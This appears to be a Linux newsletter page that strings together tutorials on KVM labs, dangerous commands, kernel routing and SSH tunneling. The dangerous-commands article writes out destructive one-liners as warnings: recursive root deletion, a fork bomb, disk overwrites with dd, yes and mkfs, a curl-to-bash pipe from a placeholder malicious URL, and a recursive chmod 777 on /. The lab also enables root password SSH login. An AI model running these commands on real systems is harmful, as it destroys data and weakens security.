You install the software, open the interface, create a new virtual machine, attach an ISO, and go through the operating system installation step by step.

It works.

Linux also provides a native virtualization stack built around KVM and QEMU.

With it, you can work directly with virtual machine disk images and build systems in a faster and more flexible way.

Instead of performing a full operating system installation each time, you can start from an existing image, prepare it for your environment, and run it as a virtual machine.

This approach is common in real-world environments where systems need to be created quickly, tested, replaced, or rebuilt without repeating the same installation process each time.

In this guide, you will use KVM to build a simple lab environment by importing and working with disk images.

You will go through the process step by step, from preparing the image to creating the virtual machine and accessing it.

Checking if your system supports virtualization

Before working with KVM, your system needs to support hardware virtualization.

Most modern CPUs already support it, but it’s worth verifying.

Run the following command:

$ grep -E 'vmx|svm' /proc/cpuinfo

This command looks inside /proc/cpuinfo, which contains information about your processor, and searches for specific flags.

The vmx flag indicates Intel virtualization support, while svm indicates AMD virtualization support.

If your system supports virtualization, you should see one of these flags in the output, usually repeated across multiple lines.

For example, you might see something like vmx or svm listed among the CPU features.

If you only want to confirm support without scrolling through the output, you can return the number of occurrences instead:

$ egrep -c '(vmx|svm)' /proc/cpuinfo

A value greater than 0 confirms that virtualization is supported.

If these command returns no output, virtualization is either not supported or disabled in the BIOS or UEFI settings. In most cases, it is simply disabled, and you can enable it from your firmware settings under options such as Intel VT-x or AMD-V.

• KVM relies on hardware virtualization to run virtual machines efficiently. Without it, you won’t be able to use KVM as expected.

Installing the KVM tools

KVM itself is part of the Linux kernel.

What you install are the tools used to create, manage, and interact with virtual machines.

For this demonstration, I’m using Fedora 42.

If you’re running Fedora or any Red Hat–based system, you can install the required packages with:

$ sudo dnf install qemu-kvm libvirt virt-install guestfs-tools genisoimage virt-manager virt-viewer

These packages give you everything needed to work with KVM.

qemu-kvm provides the virtualization backend, libvirt handles virtual machine management and networking, and virt-install allows you to create virtual machines from the command line.

The guestfs-tools package includes tools like virt-customize, which you’ll use later to prepare disk images.

The remaining tools, such as virt-manager and virt-viewer, provide graphical access if you need it, while genisoimage is useful when working with ISO files.

If you are using Ubuntu or another Debian-based system, you can install the equivalent tools with:

$ sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst libguestfs-tools genisoimage virt-manager virt-viewer

After installation, make sure the libvirtd service is running:

$ systemctl status libvirtd

If it is not running, start and enable it:

$ sudo clearsystemctl start libvirtd
$ sudo systemctl enable libvirtd

To manage virtual machines without using sudo, add your user to the libvirt group:

$ sudo usermod -aG libvirt $USER

Instead of logging out and back in, you can apply the change immediately with:

$ newgrp libvirt

The newgrp command allows you to switch your current session to a new group without logging out, so the updated permissions take effect right away.

If you prefer not to modify group membership, you can run the commands as root or continue using sudo.

If your user is not part of the libvirt group, you may run into permission errors when creating or managing virtual machines.

Now that the tools are installed, the next step is to get a disk image that we can use to build our lab.

If you’re enjoying this article,

I wrote a 700+ page book teaching Linux step by step, with real examples you can follow and break safely in your own lab.

If you’re serious about learning Linux properly, check it out:

FIRST STEPS WITH LINUX

Getting a disk image

To avoid going through a full operating system installation, you’ll work with prebuilt disk images.

These images already contain a minimal operating system and are ready to be used as virtual machines.

Most of these images are distributed in the qcow2 format, which is commonly used with KVM and QEMU.

You can download ready-made images from the OpenStack image repository.

They provide minimal images for distributions like RHEL, Fedora, and Ubuntu.

These images are lightweight and designed to boot quickly, which makes them ideal for testing and lab environments.

For this demonstration, I’ll be using the lastest cloud image from Rocky Linux.

You can download it from their official site.

Look for the Rocky Linux 10 cloud image (qcow2).

Cloud images are minimal by design and are intended to be customized and deployed quickly.

Once you’ve downloaded the image, move it to the default directory used by libvirt:

$ sudo mv Rocky-10-GenericCloud-Base.latest.x86_64.qcow2 /var/lib/libvirt/images/rock-10.qcow2

This is where libvirt expects virtual machine disk images to be stored.

In the example, I have moved and renamed the image to a new name (rock-10.qcow2)to make things simple.

The image is small when downloaded, but it will grow as you use it.

Make sure you have enough disk space available, especially if you plan to create multiple virtual machines.

At this point, you have a base image ready.

The next step is to prepare it for your environment before turning it into a virtual machine.

Preparing the disk image

The image you downloaded is minimal and not ready for direct use.

Cloud images are designed to be initialized dynamically, usually through tools like cloud-init.

For this setup, you’ll prepare the image manually so it behaves like a normal system.

To modify the image, you’ll use the virt-customize tool.

Run the following command:

$ sudo virt-customize \
-a /var/lib/libvirt/images/rock-10.qcow2 \
--hostname rocky-10-kvm-lab \
--root-password password:root \
--uninstall cloud-init \
--selinux-relabel

This command modifies the disk image before it is even booted.

The -a option specifies the path to the image.

The --hostname option sets the hostname of the virtual machine.

The --root-password option defines the root password. In this case, it is set to root.

The --uninstall cloud-init option removes cloud-init from the image. This avoids delays during boot, since the system will no longer wait for cloud-init configuration.

The --selinux-relabel option ensures that file contexts are correctly restored after making changes to the image. This is important on systems like Rocky Linux, Fedora, and other SELinux-enabled distributions.

The image must not be running when you use virt-customize. You are modifying it offline.

The virt-customize tool provides many more options than what is shown here. You can explore them using the manual pages (man virt-customize) and experiment based on your needs.

Now, the image is configured and ready to be used as a virtual machine.

The next step is to import it into KVM and create the virtual machine.

Creating the virtual machine

Now that the image is prepared, you can import it into KVM and create a virtual machine.

Run the following command:

$ sudo virt-install \
--name rocky-10-kvm-lab-demo \
--memory 1024 \
--vcpus 1 \
--disk /var/lib/libvirt/images/rock-10.qcow2 \
--import \
--os-variant rocky9.0 \
--noautoconsole

This command creates a virtual machine using the existing disk image.

The --name option defines the name of the virtual machine.

The --memory option sets the RAM in megabytes, and --vcpus defines how many virtual CPUs the system will use.

The --disk option points to the image you prepared earlier.

The --import option tells KVM to use the existing disk instead of installing a new operating system.

The --os-variant option helps optimize the virtual machine configuration for a specific operating system.

To see the operating systems available on your system, you can run:

$ osinfo-query os

This command queries the local OS information database and lists the operating systems recognized by libosinfo.

You can achieve the same thing with:

$ virt-install --osinfo list

But osinfo-query os is prefered since it provides additional info.

If you want to narrow the output, you can pipe it to grep. For example:

$ osinfo-query os | grep -i rocky

On my system, the latest available entry is rocky9.0.

However, the image used in this demonstration is Rocky Linux 10.1.

You can still use the closest available match when specifying the operating system.

You can also use the newer --osinfo option, which is based on the same underlying database and provides a more flexible way to define the operating system:

--osinfo detect=on,name=rocky9.0.

This tells libvirt to use information from the OS database to configure the virtual machine.

The detect=on option first tries to detect the operating system from the disk image.

If detection fails, it falls back to the value provided with name=rocky10.0.

This helps ensure that the virtual machine is created with suitable defaults for that operating system.

Accessing the virtual machine

Once the virtual machine is created, it starts running in the background.

To confirm that it is running, you can list active virtual machines:

$ virsh list

To connect to the system, you first need its IP address.

You can retrieve it using:

$ sudo virsh domifaddr rocky-10-kvm-lab-demo

This command shows the network interfaces associated with the virtual machine, including the assigned IP address.

Look for an entry under the address column.

Once you have the IP address, connect using SSH:

$ ssh root@192.168.122.227

Use the root password you configured earlier. N

You’ll notice the password does not work. SSH attempts different authentication methods and eventually fails with:

Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password)

This is a good opportunity to understand what is happening.

On many cloud images, especially Rocky, root login using a password over SSH is disabled by default, even if a root password is set.

This means the system allows SSH access, but refuses password-based login for root.

A few common reasons for this behavior:

• PermitRootLogin is set to prohibit-password or without-password

• PasswordAuthentication is disabled

• The image is designed to use SSH keys instead of passwords

In this setup, you did not inject an SSH key, so SSH has no valid authentication method to use.

To confirm this, connect to the virtual machine console:

$ sudo virsh console rocky-10-kvm-lab-demo

If the login prompt does not appear immediately, press Enter a few times.

Log in as root using the password root.

Once inside, check the effective SSH configuration:

$ sshd -T | grep -E 'permitrootlogin|passwordauthentication'

The output clearly explains why the login failed.

passwordauthentication is enabled, but permitrootlogin is set to without-password, which means root login is only allowed using SSH keys, not a password.

You can verify the effective SSH configuration using sshd -T. This shows the final values after all configuration files and drop-in overrides are applied.

Let’s fix that by creating a drop-in file instead of modifying the main SSH configuration file:

$ printf 'PermitRootLogin yes\nPasswordAuthentication yes\n' > / etc/ssh/sshd_config.d/99-root-login.conf

$ systemctl restart sshd

Now verify the effective configuration again:

$ sshd -T | grep -E 'permitrootlogin|passwordauthentication'

You can now connect using SSH with the root password. First exit the console by pressing Ctrl + ]

$ ssh root@192.168.122.227

If you prefer key-based authentication, you can inject an SSH key when preparing the image with virt-customize.

For example:

$ ssh-keygen -t rsa

$ sudo virt-customize \
-a /var/lib/libvirt/images/rock-10.qcow2 \
--ssh-inject 'root:file:/root/.ssh/id_rsa.pub'

This adds your public key to the image so you can connect without a password:

$ ssh root@192.168.122.227

If the IP address does not appear, the virtual machine may still be initializing its network.

Give it a few seconds and run the command again.

At this point, you have a working virtual machine running from a prebuilt image.

You can log in, install packages, test configurations, and experiment freely without affecting your main system.

Every virtual machine you create from an image starts from the same baseline. If you need multiple systems, create a copy of the image for each virtual machine. A single disk image should not be shared between multiple VMs.

Stopping the virtual machine

Once you are done working with the virtual machine, you can stop it.

To see running virtual machines:

$ virsh list

To stop the virtual machine gracefully:

$ virsh shutdown rocky-10-kvm-lab-demo

This sends a shutdown signal to the guest operating system, allowing it to close services and unmount filesystems properly.

If the virtual machine does not respond, you can force it to stop:

$ virsh destroy rocky-10-kvm-lab-demo

This stops the virtual machine immediately, similar to cutting power.

If you want to start it again later:

$ virsh start rocky-10-kvm-lab-demo

Closing

At this point, you have a working virtual machine built from a prebuilt image.

No installation wizard. No repeated setup steps.

You took an image, prepared it, and turned it into a running system in a few commands.

This is a faster way to build lab environments.

You can keep a collection of images, adjust them for different use cases, and spin up new systems whenever you need them.

From here, you can go further.

Create multiple virtual machines, connect them together, simulate networks, or test real-world scenarios.

Everything starts from the same idea: take an image, run it, and use it.

That’s it.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

The reason is simple: I have been finishing something that took much longer than I originally expected.

For almost two years I’ve been working on a book called First Steps with Linux, a practical guide that takes you from zero Linux experience to confidently managing Linux systems.

Writing it alongside work, research, and the articles I publish here turned out to be a bigger project than I imagined. There were many moments where I thought it was almost finished, only to realize there were still chapters that needed rewriting, diagrams that needed improvement, or concepts that needed clearer explanations.

Today I’m happy to finally say:

The book is finished.

Why I wrote this book

Many of the articles on this newsletter focus on deep dives into specific Linux topics. Over time I noticed something interesting in the questions I received from readers.

Most people weren’t struggling with one isolated command or tool.

They were struggling with connecting the pieces together.

Linux has incredible documentation and countless tutorials online, but beginners often jump between random guides without seeing how everything fits together.

So the idea behind this book was simple:

Create a resource that teaches Linux as a system, not just as a collection of commands.

What the book covers

The final manuscript ended up much larger than I planned.

The book now runs 700+ pages and covers a wide range of practical Linux topics, including:

• Navigating the Linux command line and filesystem

• File permissions, SUID/SGID, Access Control Lists (ACLs), and file attributes

• Managing users and groups

• Working with disk partitions and filesystems such as ext4 and XFS, including partitioning, formatting, repairing, and mounting disks

• Software management using apt, dnf, and rpm-based systems, including managing local repositories

• Storage technologies such as LVM, RAID, swap, disk quotas, NFS, and autofs

• Working with regex, archives, and compressed files

• Process management, including foreground and background processes and priority control

• Task automation using cron, systemd timers, batch, and at

• Practical Linux networking: managing interfaces, IP addresses, and routing

The goal was to build something that helps readers move from basic Linux usage to confidently managing real systems.

Technical review

An early version of the book was technically reviewed by Alex Callejas, Services Content Architect at Red Hat and author of Fedora Linux System Administration.

His feedback helped refine several sections of the book and improve explanations across multiple chapters.

Beta readers

Before the final release, the book was shared with a small group of beta readers who carefully reviewed sections of the manuscript and provided detailed feedback.

Their comments helped clarify explanations, identify confusing areas, and improve several chapters across the book.

I’m very grateful for the time they invested in reading early drafts and helping shape the final version.

Where to get the book

To celebrate the launch, the book is available at a special launch price of $49.

The regular price will increase to $69 after the launch window.

You can get the book here:

Get the Book

Thank you

If you’ve been reading the articles on this newsletter, thank you.

Many of the ideas that shaped this book came from the discussions and questions shared here over the years.

Your feedback helped shape what the book eventually became.

I’ll return to publishing new Linux deep dives here soon. Now that the book is finally finished, there are several topics I’ve been wanting to write about.

First Steps With Linux is now complete — 600+ pages, professionally formatted, carefully structured, and built to the standard I’ve always aimed for, including a companion lab guide.

Here are two small previews from inside the book:

Read more

In this guide, we’ll walk through 13 dangerous Linux commands that every user should be aware of. Run any of these on your system, and you could lose everything.

1. Recursive Deletion

This infamous command recursively and forcibly deletes everything from the root directory. If executed as root or with sudo, it doesn’t ask questions, it just erases the entire filesystem.

$ sudo rm -rf /

Thankfully, modern versions of rm include a built-in safeguard. If you try to run this command on the root directory (/), it will refuse by default and print a warning. To override this, a user would have to explicitly include the --no-preserve-root option:

$ sudo rm -rf --no-preserve-root /

That flag disables the protection and forces deletion of everything from the root — which is why it’s incredibly dangerous and should never be used under any normal circumstances.

2. Imploding Your Hard Drive

Moving files to /dev/null is essentially vaporizing them. It’s Linux’s black hole — anything sent there is gone forever. Mistakenly redirecting or moving critical files here can lead to unrecoverable data loss.

$ sudo find / -type f -exec mv /dev/null {} +

# OR 

$ sudo mv -rf / /dev/null

3. The Fork Bomb

This one’s deceptively short but devastating. It defines a function that repeatedly calls itself, consuming CPU and memory until your system freezes.

$ :(){ :|:& };:

To prevent this kind of denial-of-service, you can limit the number of processes per user:

$ ulimit -S -u 4000

4. Overwriting the Disk

This command writes raw output directly to the disk, destroying partition tables and wiping data. Even innocent-looking commands can become dangerous if misdirected to disk devices.

$ yes > /dev/sda

5. Downloading and Running Scripts Blindly

Using wget or curl to download and pipe a script directly into bash is asking for trouble — especially if the source is unknown or unverified.

$ wget https://malicious_source_url -O - | bash

Or:

$ curl https://malicious_source_url | bash

Always inspect scripts before executing them.

6. Permission Apocalypse

Running this command gives full read/write/execute permissions to all users on every file in your system. Not only is this insecure — it breaks proper permission structures and can introduce serious vulnerabilities.

$ sudo chmod -R 777 /

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

7. Accidental Recursive Ownership Change

This one is surprisingly common. Running chown recursively on the wrong path can instantly break your system by changing ownership of critical files and directories.

$ sudo chown -R user:user /

On the surface, this looks harmless — maybe you were trying to fix a permission issue in your home directory and forgot to change the path. But when run on /, it changes ownership of every file on the system, including system binaries, configuration files, and services that must be owned by root.

The result is a system that behaves erratically: services fail to start, package managers break, and security boundaries are completely destroyed.

Unlike a single bad chmod, this mistake is difficult to undo. There’s no simple way to “put ownership back” without reinstalling or restoring from a backup.

8. Formatting the Hard Drive

This formats your entire hard disk, wiping the data and creating a new filesystem. A typo here — or a lack of understanding — can erase your OS instantly.

$ mkfs.ext3 /dev/sda

9. Writing Junk Data to Disk

Commands that write random or garbage data directly to the disk can completely destroy your storage device’s contents. These are sometimes used in data destruction or overwriting scenarios.

$ dd if=/dev/urandom of=/dev/sda bs=1M

10. Re-running All Commands from History

Running the entire contents of your command history with this one-liner can be unpredictable and destructive.

$ sudo history | sh

11. Quick Command Replacement

The ^foo^bar syntax is useful for correcting previous commands, but risky if used carelessly. For example:

$ ^mv^rm ~/backups

This would replace mv with rm, potentially deleting an important directory instead of moving it.

12. Deleting All Crontabs: crontab -r

One wrong flag, and all your scheduled tasks vanish. Unlike crontab -e, which edits tasks, -r removes them entirely — and does so without confirmation.

$ crontab -r

Back up your crontab regularly and use the -l flag to list tasks before modifying

Please do not run any of the above commands on your actual system or on machines you care about. If you’re curious about how they work, use a disposable virtual machine or container for testing.

Running any of these — intentionally or by mistake — can bring your system to a halt or cause irreparable damage.

13. Extracting Archives as Root Without Inspecting Them

Extracting a tar archive as root without checking its contents can overwrite critical system files, change permissions, or drop files into unexpected locations.

$ sudo tar -xf backup.tar

Tar archives can contain absolute paths, parent directory traversals (../), or files targeting system locations like /etc, /usr/bin, or /root. When extracted as root, tar will happily write wherever the archive tells it to.

This is especially dangerous with archives downloaded from the internet or created by automated backup systems. A single bad archive can overwrite configuration files, replace binaries, or silently introduce malicious files.

A safer approach is to always inspect an archive before extracting it:

$ tar -tf backup.tar

And, when possible, extract into a dedicated directory instead of /:

$ mkdir /tmp/extract
$ tar -xf backup.tar -C /tmp/extract

Once you’ve verified the contents, you can move files into place intentionally instead of letting tar decide for you.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Every time an application sends a packet, the Linux kernel decides where that packet should go. Sometimes the traffic stays local. Sometimes it leaves through a specific interface. In other cases, it must be forwarded to another network entirely. All of those decisions are made using the same routing logic, regardless of whether the system is acting as a simple workstation or as a multi-homed router.

This article looks at routing from the perspective of a single Linux host. We focus on how the kernel determines reachability and selects paths for outgoing traffic, working step by step through routes, scopes, routing tables, policy-based routing, and routing marks.

Rather than jumping straight into commands, the emphasis is on how routing decisions are made inside the kernel and how those decisions affect where packets actually go. Understanding this flow makes it easier to reason about routing behaviour, especially once systems become multi-homed or start handling traffic for other networks.

Routing vs Forwarding

Routing and forwarding are closely related, but they are not the same thing.

Routing is the decision-making process. It is about determining the best path a packet should take based on the information available to the kernel.

Forwarding is the action. It is the act of moving a packet from one network interface to another, or delivering it locally when the destination belongs to the system itself.

By default, Linux does not forward packets between interfaces. This is intentional. A server should not accidentally behave like a router. When packet forwarding is enabled, Linux becomes capable of moving traffic between networks, but it still relies on routing information to decide how that traffic should flow.

To check whether IPv4 packet forwarding is enabled, you can use:

$ sysctl net.ipv4.ip_forward

If the output is 0, packet forwarding is disabled. If the output is 1, packet forwarding is enabled.

To enable packet forwarding temporarily, you can write directly to the kernel parameter:

$ echo 1 > /proc/sys/net/ipv4/ip_forward

Or use sysctl:

$ sysctl -w net.ipv4.ip_forward=1

Both methods take effect immediately, but the change does not persist across reboots.

To make packet forwarding permanent, add the following line to a drop-in file under /etc/sysctl.d/. You can choose any filename, but it is common to prefix it with a number, for example 99-ip-forward.conf:

net.ipv4.ip_forward = 1

Then apply the configuration:

$ sudo sysctl -p

Once a packet arrives on an interface, the kernel must answer a simple question:

Is this packet meant for me, or should it be sent somewhere else?

Routing determines the answer. Forwarding is what happens next.

IP Destination Classes

From the kernel’s point of view, every destination IP falls into one of three categories. This classification happens early and shapes every routing decision that follows.

Local destinations are IP addresses assigned to the system itself. This includes interface addresses and the loopback range.

You can see local destinations by inspecting interface addresses:

$ ip -c -4 -brief addr

Each address shown here represents traffic that terminates on the local machine. The loopback interface deserves special attention: the entire 127.0.0.0/8 range points back to the system itself and is commonly used for local testing and inter-process communication.

If you are coming from Cisco or Juniper, these are typically referred to as local routes, and they usually appear as /32 host routes in routing tables.

Connected networks are networks that are directly reachable through a local interface. If an interface is configured with an address in a given subnet, Linux knows that any IP within that subnet can be reached without a router.

You can view connected networks with:

$ ip route show scope link

These routes tell the kernel which networks are reachable directly and through which interface. Traffic destined for any of these networks is sent straight out of the corresponding interface, without involving a gateway.

For example, traffic to 192.168.8.1 is sent directly out of enp2s0.

If you come from Cisco or Juniper environments, these are known as connected routes. Notice the use of scope link here; we will revisit scopes in more detail shortly.

Remote networks include everything else. If a destination is neither local nor directly connected, Linux must send the packet to a router that is directly reachable.

These routers are typically represented by default routes:

$ ip route show default

In this case, the system has two default routes, one per interface. Linux will not use both arbitrarily. Instead, it compares their metrics and selects the preferred path. We will look at route selection and metrics in detail later.

This classification is fundamental. Before the kernel evaluates metrics or chooses a gateway, it first determines whether a destination is local, connected, or remote.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

What are Routes

A route is simply an instruction that tells the kernel how to reach a destination.

At a minimum, a route answers three questions:

• Which destination does this apply to?

• Where should the packet go next?

• Which interface should be used?

In Linux, a route is made up of a few core components:

• Destination

  This can be a single IP address (a host route), a subnet (a network route), or a catch-all default route (0.0.0.0/0).

• Next hop

  This is the IP address of the next router the packet should be sent to. If the destination is directly connected, no next hop is required.

• Interface

  This is the local network interface the packet will exit from.

You can see how the kernel interprets a route decision using ip route get. For example:

$ ip route get 1.1.1.1

This output shows the full routing decision for that destination:

• 1.1.1.1 is the destination address.

• 192.168.8.1 is the next hop (gateway).

• enp2s0 is the interface used to send the packet.

• 192.168.8.102 is the source address chosen for the packet.

• uid 1000 indicates which user initiated the traffic.

There are additional routing attributes, such as metrics and routing tables, weight, which we will look at later. For now, the important point is that this is the final decision the kernel has made for that packet.

If the destination belongs to a directly connected network, there is no next hop. The packet is sent straight out of the appropriate interface.

If the destination is remote, the route must specify a gateway. That gateway itself must be reachable through a directly connected network. Linux will never forward traffic to a next hop it cannot already reach.

Routes are not guesses or suggestions. They are explicit rules the kernel follows when deciding where packets should go.

Route Scopes

Route scopes describe how far a route can “see”. They define the visibility of a route and place boundaries on where it can be used. These scopes map directly to the destination classes we discussed earlier.

Linux primarily uses three scopes: host, link, and global.

Host scope routes apply only to addresses on the local machine. These include interface IP addresses and the loopback range. Traffic matching a host-scope route never leaves the system and never involves packet forwarding.

You can inspect host-scope routes across all routing tables with:

$ ip route show scope host table all

The loopback range appears as 127.0.0.0/8 because it is treated as a special local network. Any address within that range will always resolve back to the local system:

$ ping 127.2.4.23 -c 3

Even though the address looks arbitrary, the traffic never leaves the host.

Link scope routes apply to directly connected networks. These routes are used for destinations that can be reached without passing through a router. Traffic matching a link-scope route is sent directly out of the associated interface.

You can view link-scope routes with:

$ ip route show scope link table all

Alongside unicast routes, you’ll also see broadcast routes. Broadcast addresses target all hosts on a local network segment and are automatically created by the kernel for each connected network.

Global scope routes apply to destinations beyond the local system and its directly connected networks. These routes require one or more routers to reach the final destination. The default route is the most common example.

You can identify global-scope routes with:

$ ip -4 route show scope global table all

These routes act as catch-all paths for traffic that does not match any more specific destination.

Route scopes are not cosmetic labels. They allow the kernel to quickly eliminate routes that cannot possibly apply to a given destination, making route selection faster and more predictable.

Routing Tables

Linux does not store all routes in a single flat list. Instead, routes are grouped into routing tables. Each table represents a separate set of routing decisions that the kernel can consult when processing a packet.

You may have already noticed this in earlier commands, where we used table all to display routes from every table at once. By default, however, most commands operate on a single table unless told otherwise.

Read more

Instead of forwarding one specific port to one specific service, dynamic port forwarding turns SSH into a local proxy that can carry any TCP traffic through the connection. Because of this flexibility, an SSH session using dynamic forwarding can behave almost like a lightweight, application-level VPN.

The idea is simple: SSH opens a SOCKS5 proxy on your machine. Any application that knows how to use a SOCKS proxy, web browsers, package managers, command-line tools, can send their traffic into it. SSH then decides where that traffic should go based on the requests coming from the application. It’s the application, not the tunnel, that chooses the final destination.

You will often see dynamic port forwarding used for web browsing. By routing your browser’s traffic through an SSH tunnel, you can make it appear as if you’re browsing from the SSH server’s network. This is useful for accessing geo-restricted content, bypassing local network filters, or simply adding an extra layer of encryption to your web traffic.

To see this behavior clearly, we’ll recreate a situation where normal internet access is blocked and then use dynamic forwarding to work around it.

Lab Setup

For this scenario, we can reuse our local ssh tunnel lab setup, so we have:

• The client machine (192.168.60.10) where I’ll run my SSH command and open the tunnel.

• The webserver server (192.168.60.11 ) that I can connect to via SSH.

Instead of keeping this abstract, the diagram below shows how dynamic port forwarding works end to end, from the local SOCKS proxy to the SSH server and out to the destination requested by the application.

NOTE:

If you skipped the first part or haven’t set up the lab yet, the GitHub repository includes the full setup so you can start from here.

Simulating a Network Restriction

But first let’s do some house cleaning and disable the firewall on the webserver so that we don’t have any issues when testing the dynamic tunnel.

This ensures that any failure we see comes from the client side restrictions, not from the SSH server itself. So, on the webserver run:

$ sudo ufw disable

With the server ready, we can now introduce the real problem dynamic forwarding is meant to solve.

Now let’s pretend that our ISP is blocking access us from accessing websites, so if we try to curl google.com from the client machine, it will fail, to simulate that, we can configure a firewall to block all outgoing http and https traffic on the client machine:

Read more

Instead of forwarding traffic directly to the SSH server, we forward it through a machine that sits between you and the actual target. This intermediate machine is commonly known as a bastion host.

SSH Proxy Tunnel (Forwarding Through an Intermediate Server)

So here is how it looks like, one machine is exposed to the outside world, while the internal systems sit protected behind it. For most of the part, you can only reach the bastion host directly. The internal systems are hidden away, inaccessible from the public internet. Since the bastion host has access to those internal systems, it becomes our gateway into the private network. So we can make use of ssh local port forwarding to reach those internal systems through the bastion host.

So here is how it works: you open a local port on your laptop, just like standard local forwarding. But instead of sending that traffic directly to the SSH server, you tell SSH to forward it further into the internal network, to a machine that only the bastion host can reach.

To make this clearer, here’s a visual representation of how local port forwarding works when a bastion host sits between you and the internal machine:

Let’s demonstrate this in the lab.

Lab Setup

So for this I have setup 3 machines:

• The client machine (192.168.56.10 ) where I’ll run my SSH command and open the tunnel.

• The bastion host (192.168.56.11) which I’ll connect to via SSH.

• The internal machine (192.168.57.11) that I want to reach through the bastion host.

Read more

In this part, we’ll flip the direction. Instead of pulling traffic toward the client, we’ll look at remote port forwarding, where the remote machine opens a port and sends traffic back to your local system.

Understanding Remote Port Forwarding

Remote port forwarding works in the opposite direction of local forwarding. Instead of opening a port on your laptop and sending traffic into a remote network, you open a port on the remote machine and send traffic back to your laptop. This is useful when your laptop is running a service that the remote side cannot reach directly, maybe because you’re behind NAT, a firewall, or you simply don’t have a public IP.

A classic example is when you’re developing a web application locally and want someone else to access it. Take James, for instance. He’s been building a website on his laptop and wants to show it to his colleague Kay. The problem? James is sitting behind a private network with no public IP, and incoming connections to his laptop are blocked. Kay has no direct way of reaching James’s machine, and James doesn’t have the time or desire to deploy the site to a public server just for a quick preview.

What James can do, however, is spin up a temporary server on the cloud, something both of them can reach, and use SSH remote port forwarding to expose his local website through that server. The cloud VM opens a port, and anything sent to that port is quietly tunneled back to James’s laptop. From Kay’s perspective, the website looks like it’s being served from the cloud, even though it’s actually running on James’s machine at home. This will make more sense in the lab, so let’s jump right another lab.

Lab Setup

So for this I have setup 3 machines:

• james-lap (192.168.70.10) - James’s laptop where the web application is running locally on port 80.

• aws-pub-instance (192.168.70.10 and 192.168.80.20) - A cloud VM that both James and Kay can access. This machine will act as the SSH server for remote port forwarding.

• kay-pc (192.168.80.10) - Kay’s computer from which she wants to access James’s local web application.

Notice the aws-pub-instance has two network interfaces, one connected to James’s network (192.168.70.0/24) and the other connected to Kay’s network (192.168.80.0/24). This setup allows both James and Kay to reach the aws-pub-instance. Normally, a cloud VM would have a normally single public IP address, but for the sake of this lab, we are simulating the cloud environment using private IPs.

NOTE:

If you skipped the first part or haven’t set up the lab yet, the GitHub repository includes the full setup so you can start from here.

Verifying Connectivity

Both kay and james cannot directly reach each other due to network restrictions, but they can both access the aws-pub-instance. which we can confirm by pinging from both sides: From james-lap:

$ vagrant ssh james-lap
$ ping aws-pub-instance
$ ping kay-pc

from kay-pc:

$ vagrant ssh kay-pc
$ ping aws-pub-instance
$ ping james-lap

As you can see, both James and Kay can reach the aws-pub-instance, but they cannot reach each other directly. and Also just to be sure that james’s local web application is running, let’s curl it from james-lap:

$ curl localhost

Great! The web application is up and running on James’s laptop. Now, let’s set up the remote port forwarding from james-lap to aws-pub-instance.

Creating the Remote SSH Tunnel

The syntax looks similar to local port forwarding, but with the -R option and reversed order of ports:

$ ssh -N -R <remote-address>:<remote_port>:<local_address>:<local_port> user@remote_public_ssh_server

Again we will break this down in a bit, but for now, let’s run the command on james-lap to create the remote tunnel:

Read more

This becomes incredibly useful once you start dealing with servers behind firewalls, private subnets, or NAT boundaries. A service might be running somewhere in the network, but you have no direct way of reaching it. With SSH tunneling, you don’t need to expose ports publicly or ask for firewall changes, you simply reuse the SSH connection you already have.

Think of an SSH session as a secure pipe. Normally, you use it to send commands. But that same pipe can carry anything: database requests, web traffic, API calls, as long as it’s TCP. SSH gives you the flexibility to redirect that traffic in different directions depending on what you need to reach.

At first, SSH tunnels feel confusing. That’s normal. Many admins and developers struggle with them until they see them demonstrated in real scenarios and work through them hands-on. That’s the goal of this series: to break down SSH tunneling into clear, practical parts, each one supported by labs you can run on your own machine. All the lab files are available in the GitHub repository.

This series will cover the four major types of SSH tunnels:

• Local Port Forwarding

• Remote Port Forwarding

• Proxy Tunneling through a Bastion Host

• Dynamic Port Forwarding (SOCKS5)

Each part focuses on one pattern, explains when it’s useful, and walks you through a complete lab environment that demonstrates the behaviour step by step.

In this first part, we’ll start with the most familiar one, Local Port Forwarding, and see how a simple SSH connection can give you access to services that would normally be unreachable.

Local Port Forwarding

Local port forwarding is usually the first tunneling feature people encounter because it feels intuitive: you open a port on your own machine, and any traffic you send to that port gets delivered to a service running somewhere else. Nothing about the service changes. It still listens on its normal port, on its own network, but your laptop gains a private, encrypted shortcut straight to it.

A useful way to think about local forwarding is to imagine you’re standing outside a building. You can’t walk in, but you can open a small window on your side and slide data through it. SSH takes whatever goes into that window and carries it to the room you specify inside the building. From your local machine’s point of view, the service looks like it’s running right on your laptop, even if it’s actually behind several layers of restrictions.

One common situation where a local tunnel becomes invaluable is when you’re on a network where a server allows SSH access but blocks everything else, no HTTP, no HTTPS, nothing. Maybe the service you need is a website running on port 80 or 8080, but the firewall won’t let you reach it directly. Instead of requesting firewall changes or exposing the service publicly, you simply open an SSH local tunnel. Your HTTP traffic then rides inside the encrypted SSH connection and reaches the webserver without being blocked.

Let’s jump into the lab and see this in action.

Lab Setup

I have two machines set up:

• Client – 192.168.60.10 (this is where I’ll run my SSH command)

• Webserver – 192.168.60.11 (this machine is running a simple website and allows SSH access)

For now, the client can still access the webserver directly over HTTP. We’ll simulate a firewall blocking this access shortly. But first, let’s confirm the webserver is actually reachable, from the client run:

$ vagrant ssh client
$ curl http://webserver

As you can see, the webserver responds normally.

Simulating a Firewall Block

Now, let’s block all incoming traffic on the webserver except SSH. We’ll do this by setting a simple firewall rule on the webserver:

$ vagrant ssh webserver
$ sudo ufw allow ssh
$ sudo ufw enable

I allowed SSH before enabling the firewall. The reason is simple: when UFW is enabled, any traffic that doesn’t match an allow rule is blocked by an implicit deny at the bottom of the rule list. If we enabled the firewall first without allowing SSH, we would lock ourselves out. By allowing SSH beforehand, we make sure we can still access the machine.

